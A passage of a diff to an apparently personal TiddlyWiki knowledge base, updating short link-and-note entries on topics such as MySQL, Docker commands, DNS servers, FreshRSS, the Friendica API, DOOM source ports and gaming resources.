me|https://chat.openai.com/share/5883b4c6-37cf-40e3-b735-9cd52b26020c]]\n\n!!! MySQL \\ MariaDB\n\n\u003C\u003C^wikipediaframe MySQL>>\n\u003C\u003C^wikipediaframe MariaDB>>\n\n* [[How to install MySQL (MariaDB) on Android with Termux|https://parzibyte.me/blog/en/2019/04/16/install-mysql-mariadb-android-termux/]]\n* [[--skip-grant-tables option cannot execute statement|https://stackoverflow.com/questions/54751024/skip-grant-tables-option-cannot-execute-statement]] --- in `mysql>` execute `flush privileges`\n\n* [[MySQL LENGTH() Function|https://www.w3schools.com/sql/func_mysql_length.asp]] (not LEN on MySQL!)\n"},
{"title":"Demoscene","created":"20230425095136540","creator":"Octt","modified":"20231107212630799","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Demoscene>>\n\n* \u003C\u003ChttpsL www.untergrund.net>> --- //free hosting service for demoscene related projects//\n\n\u003C\u003C{ \"Tech Art\">>\n"},
{"title":"Development","created":"20230613185754543","creator":"Octt","modified":"20231227013022723","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Software development\">>\n\n!!! Tools\n\n* [[AST explorer|https://astexplorer.net/]] --- //A web tool to explore the ASTs generated by various parsers.// --- \u003C\u003C[# Git\"https://github.com/fkling/astexplorer\">>\n** [[metajs|http://www.jezng.com/metajs/]] --- //visualize javascript AST execution// --- \u003C\u003C[# Git\"https://github.com/int3/metajs\">>\n* [[NamsoGen|https://namso-gen.com]] --- //Your Testing Toolkit//\n\n!!! Resources\n\n* \u003C\u003CWikipediaL \"Dependency hell\">>\n\n* \u003C\u003CRedditL r/webdev/comments/spr2db/confused_about_web_app_architecture_and/ \"Confused about web app architecture and separation of frontend and backend\">>\n* [[What package naming convention do you use for personal/hobby projects|https://stackoverflow.com/questions/292169/what-package-naming-convention-do-you-use-for-personal-hobby-projects-in-java]] in Java/Android/Flatpak?\n* [[Should images be stored in a git repository?|https://softwareengineering.stackexchange.com/questions/80962/should-images-be-stored-in-a-git-repository]] [or any SCM]\n\n* [[Why would a game developer write their own engine instead of using existing ones?|https://gamedev.stackexchange.com/questions/74388/why-would-a-game-developer-write-their-own-engine-instead-of-using-existing-ones]]\n** \u003C\u003CRedditL r/gamedev/comments/91u7ia/is_it_worth_my_time_in_2018_to_make_a_game_using \"Is it worth my time in 2018 to make a game using only C and SDL?\">>\n* [[How to Mix C and Assembly|https://www.devdungeon.com/content/how-mix-c-and-assembly]]\n\n* [[Compilation and Installation using Autoconf|https://opensource.apple.com/source/X11libs/X11libs-60/mesa/Mesa-7.8.2/docs/autoconf.html]]\n* [[What is the purpose of .PHONY in a Makefile?|https://stackoverflow.com/questions/2145590/what-is-the-purpose-of-phony-in-a-makefile]] --- TLDR: it's to declare \"fake\" targets that must build independently from actual files on disk (that make would otherwise use as targets), it doesn't mean \"sound\" or \"pronunciation\" or otherwise the full list of only allowed build targets, as I initially thought because of associating phony => telephony => ...\n* [[Makefile Tutorial by Example|https://makefiletutorial.com]] --- //Learn Makefiles With the tastiest examples// --- \u003C\u003C[# Git\"https://github.com/theicfire/makefiletutorial\">>\n* \u003C\u003Clinkdescgit \"Modern CMake\" \"https://cliutils.gitlab.io/modern-cmake/\" \"A book about using CMake for your projects\" \"https://gitlab.com/CLIUtils/modern-cmake\">>\n\n* [[Replit: The software creation platform. IDE, AI, and Deployments|https://replit.com/]]\n** [[Repl.it Offline|https://web.archive.org/web/20230330151345/https://offline.repl.it/]] (joke) --- //Repl.it's most requested feature has finally come: an offline, local-first IDE.//\n*** [[We still get mailed code and we still mail back outputs in case you thought we stopped https://offline.repl.it|https://web.archive.org/web/20230129101236/https://twitter.com/amasad/status/1442672024397045761]]\n\n* [[GPL and Linking Exceptions|https://opensource.stackexchange.com/questions/14122/gpl-and-linking-exceptions]]\n** //You can use LGPLv3 with the [[LGPL-3.0-linking-exception|https://spdx.org/licenses/LGPL-3.0-linking-exception.html]]//\n* [[What does \"GPL with classpath exception\" mean in practice?|https://softwareengineering.stackexchange.com/questions/119436/what-does-gpl-with-classpath-exception-mean-in-practice]]\n"},
-{"title":"Development/Resources","created":"20230216222435750","creator":"Octt","modified":"20240119165525443","modifier":"Octt","tags":"Development","text":"* [[Rico's cheatsheets (devhint.io)|https://devhints.io/]] --- //TL;DR for developer documentation - a ridiculous collection of cheatsheets// --- \u003C\u003C[# Git \"https://github.com/rstacruz/cheatsheets\">>\n\n; Learning, Reference\n: [[Baeldung|https://www.baeldung.com/]]\n: [[DigitalOcean Tutorials|https://www.digitalocean.com/community/tutorials]]\n: [[Rollbar Tutorials|https://rollbar.com/blog/category/tutorials/]]\n: [[MDN Web Docs|https://developer.mozilla.org/en-US/]] (Mozilla)\n: [[Programiz|https://www.programiz.com/]]\n: [[Programming Simplified|https://www.programmingsimplified.com/]] --- //C C++ and Java programming tutorials and programs//\n: [[W3Schools|https://www.w3schools.com/]]\n: [[W3docs|https://www.w3docs.com/]] --- //Tutorials, Quizzes, Certificates, Frameworks, Solutions//\n: \u003C\u003Clinkdescgit DevDocs \"https://devdocs.io\" \"API Documentation Browser\" \"https://github.com/freeCodeCamp/devdocs\">>\n: [[DevTut|https://devtut.github.io/]] --- //Tutorials compiled from StackOverflow Documentation// --- \u003C\u003C[# \"Source Git\" \"https://github.com/devtut/generate\">> \u003C\u003C[# \"Deploy Git\" \"https://github.com/devtut/devtut.github.io\">>\n\n; Code search\n: [[grep.app|https://grep.app/]]\n: [[Tabnine|https://www.tabnine.com/code/]]\n\n; Badges\n: \u003C\u003Clinkdescgit \"For the Badge\" \"https://forthebadge.com\" \"We don't develop for the money, power, fame, or codebabes. We do it For the Badge.\" \"https://github.com/BraveUX/for-the-badge\">>\n: \u003C\u003Clinkdescgit Shields.io \"https://shields.io\" \"badges as a service\" \"https://github.com/badges\">>\n"},
+{"title":"Development/Resources","created":"20230216222435750","creator":"Octt","modified":"20240127215554237","modifier":"Octt","tags":"Development","text":"* [[Rico's cheatsheets (devhint.io)|https://devhints.io/]] --- //TL;DR for developer documentation - a ridiculous collection of cheatsheets// --- \u003C\u003C[# Git \"https://github.com/rstacruz/cheatsheets\">>\n\n; Learning, Reference\n: [[Baeldung|https://www.baeldung.com/]]\n: [[DigitalOcean Tutorials|https://www.digitalocean.com/community/tutorials]]\n: [[Rollbar Tutorials|https://rollbar.com/blog/category/tutorials/]]\n: [[MDN Web Docs|https://developer.mozilla.org/en-US/]] (Mozilla)\n: [[Programiz|https://www.programiz.com/]]\n: [[Programming Simplified|https://www.programmingsimplified.com/]] --- //C C++ and Java programming tutorials and programs//\n: [[W3Schools|https://www.w3schools.com/]]\n: [[W3docs|https://www.w3docs.com/]] --- //Tutorials, Quizzes, Certificates, Frameworks, Solutions//\n\n; Collections and aggregates\n: \u003C\u003Clinkdescgit DevDocs \"https://devdocs.io\" \"API Documentation Browser\" \"https://github.com/freeCodeCamp/devdocs\">>\n: [[Developer's Documentation Collections|https://devdoc.net/]] --- //(aka API docs: devdoc)//\n: [[DevTut|https://devtut.github.io/]] --- //Tutorials compiled from StackOverflow Documentation// --- \u003C\u003C[# \"Source Git\" \"https://github.com/devtut/generate\">> \u003C\u003C[# \"Deploy Git\" \"https://github.com/devtut/devtut.github.io\">>\n\n; Code search\n: [[grep.app|https://grep.app/]]\n: [[Tabnine|https://www.tabnine.com/code/]]\n\n; Badges\n: \u003C\u003Clinkdescgit \"For the Badge\" \"https://forthebadge.com\" \"We don't develop for the money, power, fame, or codebabes. We do it For the Badge.\" \"https://github.com/BraveUX/for-the-badge\">>\n: \u003C\u003Clinkdescgit Shields.io \"https://shields.io\" \"badges as a service\" \"https://github.com/badges\">>\n"},
{"title":"DevKitPro","created":"20230130081618018","creator":"Octt","modified":"20230130081716116","modifier":"Octt","tags":"TODO"},
{"title":"Digital Garden","created":"20230217224333827","creator":"Octt","icon":"๐","modified":"20230228222424404","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?digital-garden","tags":"","text":"I still haven't yet understood what are the exact connotations of this term.\n\n* Defined as something you slowly curate over time with focus on the fact itself and not on the ultimate outcome/result\n* It's definitely the opposite of a blog (no posts strictly related to date, preferably many small ideas, ...)\n* Is a digital garden a [[Wiki]]? A [[Personal Knowledge Base]] with [[Zettelkasten]] method? Static [[Website]] with many \"classic-style\" WIP pages? A personal [[Notebook]] left open to the public to read?\n\n; Explanations, Demos, Discussions\n: \u003C\u003CYoutubeL TDqsr3MNTTc \"What is a Digital Garden? Everything you need to know ๐ฑ\">>\n: \u003Cdiv>\n\n; \u003C\u003CYoutubeL Hn6_4ZzcpiY \"Digital Gardening: Explained\">>\n: //A digital garden is an online space at the intersection of a notebook and a blog, where digital gardeners share seeds of thoughts to be cultivated in public.//\n\u003C/div>\n: \u003C\u003CYoutubeL v8CBE7jPPTk \"๐ชด How To Grow Your Own Digital Garden with Maggie Appleton\">>\n\n; Tools - some are under [[Personal Knowledge Base]]\n: [[garden ๐ฑ|https://digital-garden.dev/]] - starter kit for making a more blog-oriented digital garden - \u003C\u003C[ \"[[Git|https://github.com/inadeqtfuturs/garden]]\">>\n\n; Misc\n: [[Digital Gardening Tools and Resources|https://github.com/MaggieAppleton/digital-gardeners]]\n"},
{"title":"Digital signing","created":"20231219000332676","creator":"Octt","modified":"20231219000432315","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Digital signing\">>\n\n* [[Create Your Own Certificate Authority With OpenSSL and NGINX On Ubuntu 20.04|https://www.questioncomputer.com/create-your-own-certificate-authority-with-openssl-and-nginx-on-ubuntu-20-04/]]\n"},
@@ -1143,8 +1146,8 @@
{"title":"Display","created":"20230217074841336","creator":"Octt","modified":"20230217075021314","modifier":"Octt","tags":"Device Output","text":"\u003C\u003C^wikipediaframe \"Display device\">>"},
{"title":"DIY","created":"20230605212401089","creator":"Octt","modified":"20231223222317790","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe DIY>>\n\n!! ''Repairs''\n\n* [[Repair Preservation Group Wiki (repair.wiki)|https://repair.wiki/w/Repair_Wiki]]\n* [[Woodgears.ca|https://woodgears.ca/]] --- //An engineer's approach to\nWoodworking//\n\n* [[Notes on the Troubleshooting and Repair of Television Sets|https://www.repairfaq.org/samnew/tvfaq.htm]]\n** [[CRT repair and troubleshooting|https://repair.wiki/w/CRT_repair_and_troubleshooting]]\n"},
{"title":"DNS","created":"20230209103557956","creator":"Octt","modified":"20230920082855436","modifier":"Octt","tags":"Internet","text":"\u003C\u003C^wikipediaframe \"Domain Name System\">>\n\n; Tools\n: [[DNS Toys|https://www.dns.toys/]] - //Useful utilities and services over DNS//\n\n; Misc\n: [[Bizarre and Unusual Uses of DNS [FOSDEM23]|https://fosdem.org/2023/schedule/event/dns_bizarre_and_unusual_uses_of_dns/]] - //Rule 53: If you can think of it, someone's done it in the DNS//\n: [[DNS over Wikipedia|https://github.com/aaronjanse/dns-over-wikipedia]] --- //Redirect `.idk` domains using Wikipedia//\n\n!!! ''List of some DNS servers''\n\n(including \u003C\u003CWikipediaLink \"DNS over TLS\" en \" \">>, easily usable on [[Android]] >= 9):\n\n; ๐บ๐ธ ''[[Cloudflare|https://1.1.1.1/]]'' (avoid):\n: \u003C\u003CWikipediaLink- \"1.1.1.1\" en>>\n\n; ๐ช๐บ ''[[dns0.eu|https://www.dns0.eu/]]'' (new, never tried it)\n: Seen on [[Feddit.it|https://feddit.it/post/145578]]\n\n; ๐บ๐ธ ''[[Google|https://dns.google/]]'' (avoid):\n: \u003C\u003CWikipediaLink- \"Google Public DNS\" en>>\n\n; ๐จ๐ญ ''[[Quad9|https://www.quad9.net/]]'' (good):\n: \u003C\u003CWikipediaLink- \"Quad9#Service\" en>>\n\n; ๐ฉ๐ฐ [+ ๐บ๐ธ] ''[[UncensoredDNS|https://blog.uncensoreddns.org/]]'' (ideally perfect but I found it crashed sometimes or got slow):\n: \u003Cdiv>\n\n\u003C\u003C\u003C\n; anycast.uncensoreddns.org\n: Anycast from multiple locations.\n* DNS-over-TLS: `anycast.uncensoreddns.org:853`\n* DNS-over-HTTPS: `https://anycast.uncensoreddns.org/dns-query`\n*IPv4: `91.239.100.100`\n*IPv6: `2001:67c:28a4::`\n\u003C\u003C\u003C\n\u003C\u003C\u003C\n; unicast.uncensoreddns.org\n: This node is hosted at AS9167 in Copenhagen, Denmark.\n* DNS-over-TLS: `unicast.uncensoreddns.org:853`\n* DNS-over-HTTPS: `https://unicast.uncensoreddns.org/dns-query`\n* IPv4: `89.233.43.71`\n* IPv6: `2a01:3a0:53:53::`\n\u003C\u003C\u003C\n\u003C/div>\n\n\u003C!--\nTODO: \n- Link to the specific reasons of why to avoid certain DNS providers\n-->\n"},
-{"title":"Docker","created":"20230722232624533","creator":"Octt","modified":"20240110005619440","modifier":"Octt","tags":"Server","text":"\u003C\u003C^wikipediaframe \"Docker (software)\">>\n\n!!! Commands\n\n* `start`, `restart`: On existing containers, respectively ''start'' if it's not running, or ''restart'' at any condition\n\n!!! Flags\n\n* Passing ports: `-p Host:Container`, eg `-p 8080:80`\n\n!!! Resources\n\n* [[ERROR: Pool overlaps with other one on this address space 'bridge'|https://stackoverflow.com/questions/56515128/error-pool-overlaps-with-other-one-on-this-address-space-when-starting-my-proje#60506716]] --- to destroy other networks and quickly fix, `docker network prune`\n"},
-{"title":"Document","created":"20230816230347077","creator":"Octt","modified":"20230920092125731","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Document>>\n\n* \u003C\u003Clink+desc+git ONLYOFFICE \"https://www.onlyoffice.com\" \"An office suite that combines text, spreadsheet and presentation editors allowing to create, view and edit local documents\" \"https://github.com/ONLYOFFICE\">> \u003C\u003C#[ \"Android Git and APKs\" \"https://github.com/ONLYOFFICE/documents-app-android\">>\n\n* \u003C\u003CRedditL r/humblebundles/comments/7z37lo/pdf_or_cbz_for_absolute_best_image_quality \"PDF or CBZ for absolute best image quality?\">>\n* \u003C\u003CRedditL r/humblebundles/comments/7tks9g/is_there_a_clear_winner_for_best_format_to \"Is there a clear winner for best format to download comics?\">>\n"},
+{"title":"Docker","created":"20230722232624533","creator":"Octt","modified":"20240121193357828","modifier":"Octt","tags":"Server","text":"\u003C\u003C^wikipediaframe \"Docker (software)\">>\n\n!!! Commands\n\n* `start`, `restart`: On existing containers, respectively ''start'' if it's not running, or ''restart'' at any condition\n* `volume ls`: List internal volumes\n\n!!! Flags\n\n* Passing ports: `-p Host:Container`, eg `-p 8080:80`\n\n!!! Resources\n\n* [[ERROR: Pool overlaps with other one on this address space 'bridge'|https://stackoverflow.com/questions/56515128/error-pool-overlaps-with-other-one-on-this-address-space-when-starting-my-proje#60506716]] --- to destroy other networks and quickly fix, `docker network prune`\n"},
+{"title":"Document","created":"20230816230347077","creator":"Octt","modified":"20240128002305848","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Document>>\n\n* \u003C\u003ChttpsL Crypt.ee>> --- //Cryptee is a privacy focused, encrypted and secure documents, notes, files and photos service// --- seems nifty but apparently it's not truly open-source, just the web client code is. --- \u003C\u003C#[ Git\"https://github.com/cryptee\">>\n* [[CryptPad|https://cryptpad.org/]] --- //Collaborative office suite that is end-to-end encrypted and open-source// --- \u003C\u003C[# Git\"https://github.com/cryptpad\">>\n* \u003C\u003Clink+desc+git ONLYOFFICE \"https://www.onlyoffice.com\" \"An office suite that combines text, spreadsheet and presentation editors allowing to create, view and edit local documents\" \"https://github.com/ONLYOFFICE\">> \u003C\u003C#[ \"Android Git and APKs\" \"https://github.com/ONLYOFFICE/documents-app-android\">>\n\n* \u003C\u003CRedditL r/humblebundles/comments/7z37lo/pdf_or_cbz_for_absolute_best_image_quality \"PDF or CBZ for absolute best image quality?\">>\n* \u003C\u003CRedditL r/humblebundles/comments/7tks9g/is_there_a_clear_winner_for_best_format_to \"Is there a clear winner for best format to download comics?\">>\n"},
{"title":"DOOM","created":"20230116202834289","creator":"Octt","modified":"20231219001834096","modifier":"Octt","tags":"TODO FPS Retro $:/i18n:en Game","text":"\u003C\u003C^wikipediaframe Doom_(videogame) en>>\n\n* [[Chocolate Doom|https://www.chocolate-doom.org]] --- //Doom source port that accurately reproduces the experience of Doom as it was played in the 1990s// with limited mod support but high cross-platform support --- \u003C\u003C[# Git\"https://github.com/chocolate-doom/chocolate-doom\">>\n* [[ZDoom Team|https://zdoom.org/]] --- //team of developers and contributors [...] primarily develop and maintain the GZDoom and Raze source ports, and also some of the tools that can be used to fascilitate editing of game modifications which are supported by them//\n** [[GZDoom|https://github.com/ZDoom/gzdoom]] --- //GZDoom is a feature centric port for all Doom engine games, based on ZDoom, adding an OpenGL renderer and powerful scripting capabilities//\n\n* [[WAD Commander|https://wadcmd.com/]] --- //WAD Commander is a tool running in modern browsers to load and play WAD files of DOOMยฎ and DOOM IIยฎ.//\n* [[Wasm Doom by Cloudflare|https://silentspacemarine.com/]] --- //Chocolate Doom WebAssembly port with WebSockets support// --- \u003C\u003C[# Git\"https://github.com/cloudflare/doom-wasm\">>\n\n* //[[Mi dicono dalla regia che esattamente 30 anni fa, #DOOM viene ufficialmente rilasciato. Che direโฆ|https://octospacc.altervista.org/2023/12/10/416/]]//\n\n* //''[[Freedoom project|https://freedoom.github.io/]]'' aims to create a complete free content game based on the Doom engine// --- \u003C\u003C[# Git\"https://github.com/freedoom\">>\n* [[Eviternity II|https://eviternity.dfdoom.com/]] --- //full 36-map megawad sequel to Eviternity//, with apparently nice-looking levels\n\n\u003C!--\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://dos.zone/player/?bundleUrl=https://cdn.dos.zone/custom/dos/doom.jsdos&exit=1\">>\n--->\n"},
{"title":"DOS","created":"20231102223250475","creator":"Octt","modified":"20231223111404767","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe DOS>>\n\n* //''[[FreeDOS|https://freedos.org/]]'' --- is a free software operating system for IBM PC compatible computers.//\n\n* [[js-dos v7|https://js-dos.com/]] --- //The simplest API to run DOS games in browser// --- \u003C\u003C[# Git\"https://github.com/js-dos\">>\n** [[DOS Zone|https://dos.zone/]] --- //Ultimate collection of online dos games//\n\n* [[DOS haven|http://www.doshaven.eu/]] --- //21st century DOS games//, and related resources like homebrews, tools, and codes\n"},
{"title":"dpkg","created":"20230901234812489","creator":"Octt","modified":"20230901235302500","modifier":"Octt","tags":"Debian","text":"\u003C\u003C^wikipediaframe dpkg>>\n\n* [[Ignore all dependencies for a specific package with apt-get|https://superuser.com/a/815371]] --- First install the package with `--force-depends` (dpkg) or `--nodeps` (apt), then find the offending package in `/var/lib/dpkg/status`, and edit the `Depends:` line to remove/alter the problematic dependency.\n"},
@@ -1174,7 +1177,7 @@
{"title":"Forum","created":"20230919202116604","creator":"Octt","icon":"๐๏ธ","modified":"20231105113634908","modifier":"Octt","page-cover":"https://source.unsplash.com/random?forum","tags":"WIP","text":"\u003C\u003C^wikipediaframe \"Internet Forum\">>\n\n* [[Discoure|https://www.discourse.org]] --- //A platform for community discussion. Free, open, simple.// --- \u003C\u003C#[ Demo \"https://try.discourse.org\">> \u003C\u003C#[ Git \"https://github.com/discourse\">>\n** Nice UI and UX, limited plugins are available but they are useful, it all makes good the renewed idea of the forum in the third decade... but the tech stack is bad: installation without Docker is not supported at all (there are really too many complicated components in the system), has [[relatively high requirements|https://github.com/discourse/discourse/blob/435ba4d03dfa3abf844f6421f0da37545a99deb3/docs/INSTALL.md]], and doesn't work properly without client-side JavaScript (making frontend performance and flexibility worse).\n* \u003C\u003Clinkdescgit Flarum\"https://flarum.org\" \"Simple forum software for building great communities.\" \"https://github.com/flarum\">>\n* [[MyBB|https://mybb.com/]] --- \u003C\u003C[# Git \"https://github.com/mybb\">>\n* [[phpBB]]\n"},
{"title":"Free sharing","created":"20220923195125955","creator":"Octt","modified":"20231027100208949","modifier":"Octt","tags":"$:/i18n:en","text":"''Free sharing'' is a philosophy founded on the belief that: every kind of information that is created to be publicly available has to be shareable by anyone without any restrictions.\n\nThe reasoning behind this philosophy is that the whole of humanity can benefit, in the long run, if each person creating works of culture puts aside their egoistic desires of wealth and power, and instead decides to explicitly allow anyone to freely share the works in question.\n\nPeople who believe in free sharing not only often choose to leave freedom of sharing what they create to the world, but also engage in mutual exchanges of public information that is officially not free (usually, hidden behind paywalls and/or licenses that don't allow redistribution).\n\nThis last kind of behavior is not to be confused with [[computer piracy]], which is a term indicating either the unauthorized redistribution of digital content with the main scope of monetary gain, and not the spirit of sharing for bettering humanity, or in general the perpetration of any illegal activity through the use of computer systems or regarding those.\n\n* \u003C\u003Clinkdescgit FreeMediaHeckYeah \"https://fmhy.pages.dev/\" \"The Largest Collection of Free Stuff On The Internet!\" \"https://github.com/fmhy\">>\n"},
{"title":"Freedom","created":"20230818074823101","creator":"Octt","modified":"20230818075008144","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Freedom>>\n\n* [[Flash Drives for Freedom|https://flashdrivesforfreedom.org/]]\n"},
-{"title":"FreshRSS","created":"20230113225224277","creator":"Octt","modified":"20230813103800740","modifier":"Octt","tags":"RSS","text":"* Site: https://freshrss.org\n* Docs: https://freshrss.github.io/FreshRSS/\n* Source: https://github.com/FreshRSS\n* Docker: https://hub.docker.com/r/linuxserver/freshrss\n\n---\n\n* How to resolve many feeds not getting updated in time? --- Configuration > Archiving > Do not automatically refresh more often than: [default should be 1 hour, set to a lower time].\n* [[[BUG] Preview images from YouTube feeds no longer working after updating to 1.21|https://github.com/FreshRSS/FreshRSS/issues/5170]] --- Only solution is to ''downgrade to v1.20.2''.\n"},
+{"title":"FreshRSS","created":"20230113225224277","creator":"Octt","modified":"20240128000924533","modifier":"Octt","page-cover":"https://source.unsplash.com/random?fresh,rss","tags":"RSS","text":"* Site: https://freshrss.org\n* Docs: https://freshrss.github.io/FreshRSS/\n* Source: https://github.com/FreshRSS\n* Docker: https://hub.docker.com/r/linuxserver/freshrss (wouldn't use it anymore, it was a pain to migrate from that to a manual config, more of a pain than it is to do the manual setup again, assuming you already have a web server ready)\n* My instance: https://feeds.octt.eu.org; if I keep it like this (don't privatize it) you can use it as a demo, it shows the feeds of some of my things\n\n---\n\n* How to resolve many feeds not getting updated in time? --- Configuration > Archiving > Do not automatically refresh more often than: [default should be 1 hour, set to a lower time].\n* [[[BUG] Preview images from YouTube feeds no longer working after updating to 1.21|https://github.com/FreshRSS/FreshRSS/issues/5170]] --- Only solution is to ''downgrade to v1.20.2''.\n"},
{"title":"Friendica","created":"20230113105935789","creator":"Octt","modified":"20230417200917567","modifier":"Octt","tags":"Fediverse $:/i18n:en","text":"\u003C\u003C^wikipediaframe Friendica en>>\n\n* https://friendi.ca/ - \u003C\u003C[ \"[[Git|https://github.com/friendica/friendica]]\">> \u003C\u003C[ \"[[Dev Wiki|https://github.com/friendica/friendica/wiki]]\">> \u003C\u003C[ \"[[User/Admin Wiki|https://wiki.friendi.ca/]]\">> \n\n!! ''API''\n\n~~The official API documentation is disorganized and possibly lacks some information, so~~ Apparently the good API documentation is [[on the GitHub Wiki|https://github.com/friendica/friendica/wiki/Friendica-API]], but I still need to build my own organized while I build my custom client.\n\n* Login is possible via basic [[HTTP]] authentication.\n* All routes can be examined from [[routes.config.php|https://github.com/friendica/friendica/blob/2023.03-rc/static/routes.config.php]].\n\n!!! ''Endpoints''\n\nEndpoints are present for clients implementing the Mastodon and Twitter protocols, as well as Friendica's own client-to-server protocol, but we only care about this last one.\n\nAll Friendica endpoints below are available at the `/api/` namespace.\n\n* They return [[JSON]] data by default.\n** Support many formats by suffix: `.{json|xml|rss|atom}`\n\n---\n\n* GET `/search`\n** `q=`Search Query\n\n!!!! ''Community Timelines''\n\n* [[#|https://github.com/friendica/friendica/wiki/Friendica-API#statusespublic_timeline--auth]] GET `/statuses/public_timeline` - Local\n\n* [[#|https://wiki.friendi.ca/docs/api-friendica#get_apistatusesnetworkpublic_timeline]] GET `/statuses/networkpublic_timeline` - Federated\n"},
{"title":"Frontend","created":"20240103004531936","creator":"Octt","modified":"20240103005832792","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Front-end web development\">>\n\n* [[FreeFrontend|https://freefrontend.com/]]\n\n* [[React-Grid-Layout|https://github.com/react-grid-layout]] and associated repositories (..., react-draggable, react-resizable)\n"},
{"title":"Game Boy","created":"20231218234453677","creator":"Octt","modified":"20231219000008684","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Game Boy\">>\n\n* [[Game Boy Development community|https://gbdev.io/]] --- //We are a non for profit collective of passionate developers and hackers working on development tools, homebrew games, emulators, preservation and documentation for the Nintendo Game Boy handheld console, the original gray brick from 1989// --- \u003C\u003C[# Git\"https://github.com/gbdev\">>\n"},
@@ -1183,7 +1186,7 @@
{"title":"Game modding","created":"20230823100808184","creator":"Octt","modified":"20230823101557566","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Video game modding\">>\n\n* [[Valve Developer Union|https://valvedev.info]]"},
{"title":"Game save","created":"20230504095233944","creator":"Octt","modified":"20231001093833237","modifier":"Octt","tags":"Gaming","text":"\u003C\u003C^wikipediaframe Gamesave>>\n\n* [[3DS Save Bank|https://ds-save-bank.firebaseapp.com/]]\n"},
{"title":"Gamepad","created":"20230822234737434","creator":"Octt","icon":"๐ฎ","modified":"20231103235715411","modifier":"Octt","page-cover":"https://source.unsplash.com/random?Gamepad","tags":"Gaming","text":"\u003C\u003C^wikipediaframe Gamepad>>\n\n* [[The โpadhackingโ thread|https://archive.supercombo.gg/t/the-padhacking-thread/16708/1]]\n\n* [[Converting a wireless 360 controller to wired|https://gaming.stackexchange.com/questions/155459/converting-a-wireless-360-controller-to-wired]] --- Basically impossible, while the integrated MCU carries data via USB, it has a fake firmware that can't carry HID events... because actually the pad's port (proprietary USB fork really with 3 extra pins) has data pins. Who knows.\n"},
-{"title":"Gaming","created":"20230116202756249","creator":"Octt","modified":"20240119001124100","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Video_game en>>\n\nSome games:\n\n* [[Dwarf Fortress|https://bay12games.com/dwarves]] --- very old game that recently got modernized, I like the original ASCII-graphics-based version (\"Classic\") which is also gratis\n* [[Rising Up|https://twitwi.itch.io/risingup]] --- //Climb the Corporate Ladder... with Your Fists!//\n* All other games I mentioned on this KB: \u003C\u003Ctag Game>>\n\nSome gaming resources:\n\n* [[Video Game History Foundation|https://gamehistory.org/]] --- //non-profit organization dedicated to preserving, celebrating, and teaching the history of video games//\n* [[The Cutting Room Floor|https://tcrf.net/]] is a site dedicated to unearthing and researching unused and cut content from video games\n\n* [[Video Game Music Preservation Foundation|https://www.vgmpf.com/Wiki/index.php]] --- //the Wikipedia of video game music!//\n* [[|https://vgmdb.net/]]\n\n* [[MobyGames Video Game Database|https://www.mobygames.com/]] --- //extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis//\n* [[The King of Grabs|https://thekingofgrabs.com/]] --- //Grabbing amazing video game screenshots one game at a time.//\n* [[VGMaps.com: The Video Game Atlas|https://www.vgmaps.com/]] --- //the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!//\n* [[Bootleg Games Wiki|https://bootleggames.fandom.com/]] --- //Wiki dedicated to unlicensed and bootleg video games//\n\n* \u003C\u003ChttpsL Classic-Games.net>> --- //Your retro game headquarters//\n* [[RetroBreak|https://retrobreak.co.uk/]] --- //Celebrating Video Game History//\n* [[The Tech Game - Community|https://www.thetechgame.com/]] --- gaming news along with useful related downloads\n* [[GameTripper UK|https://www.gametripper.co.uk/]] --- //Reliving your gaming memories//\n\n* //''[[Hard Drive|https://hard-drive.net/]]'' is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK itโs satire donโt ban us.//\n\n* [[Sala Museo Games|https://gamingshitposting.github.io/SalaMuseoGames]] --- //Where art is your new play// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/SalaMuseoGames\">>\n* [[GameSnacks|https://gamesnacks.com/]] --- //Play Bite-Sized HTML5 Games for Mobile and Desktop// --- mostly trashy games but some are decent, also there are no ads apparently?\n* [[Free Game Planet|https://www.freegameplanet.com/]] --- //All The Best Free Video Games With New Additions Every Day//\n** [[Alpha Beta Gamer|https://www.alphabetagamer.com/]] --- //Free Video Game Alpha & Beta Tests. The Worlds Biggest Beta Testing Site//\n\n* [[Attract Mode (Concept)|https://www.giantbomb.com/attract-mode/3015-1641/]] --- //A mode in which a game will play a gameplay demonstration video as a means to entice players into playing the game.//\n\n* \u003C\u003CYoutubeL ha_7cZxqhhE \"Nobody Knows I'm Gaming Right Now... Secretly Gaming in Public with [...] AR Glasses\">> --- a nice crazy idea for gaming everywhere in the most pick-up-and-play fashion\n"},
+{"title":"Gaming","created":"20230116202756249","creator":"Octt","modified":"20240128004146233","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Video_game en>>\n\nSome games:\n\n* [[Dwarf Fortress|https://bay12games.com/dwarves]] --- very old game that recently got modernized, I like the original ASCII-graphics-based version (\"Classic\") which is also gratis\n* [[Rising Up|https://twitwi.itch.io/risingup]] --- //Climb the Corporate Ladder... with Your Fists!//\n* All other games I mentioned on this KB: \u003C\u003Ctag Game>>\n\nSome gaming resources:\n\n* [[Video Game History Foundation|https://gamehistory.org/]] --- //non-profit organization dedicated to preserving, celebrating, and teaching the history of video games//\n* [[The Cutting Room Floor|https://tcrf.net/]] is a site dedicated to unearthing and researching unused and cut content from video games\n* [[Video Game Music Preservation Foundation|https://www.vgmpf.com/Wiki/index.php]] --- //the Wikipedia of video game music!//\n* [[|https://vgmdb.net/]]\n\n* \u003C\u003CThonky.com>> --- //Video Game Guides and More//\n* [[MobyGames Video Game Database|https://www.mobygames.com/]] --- //extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a 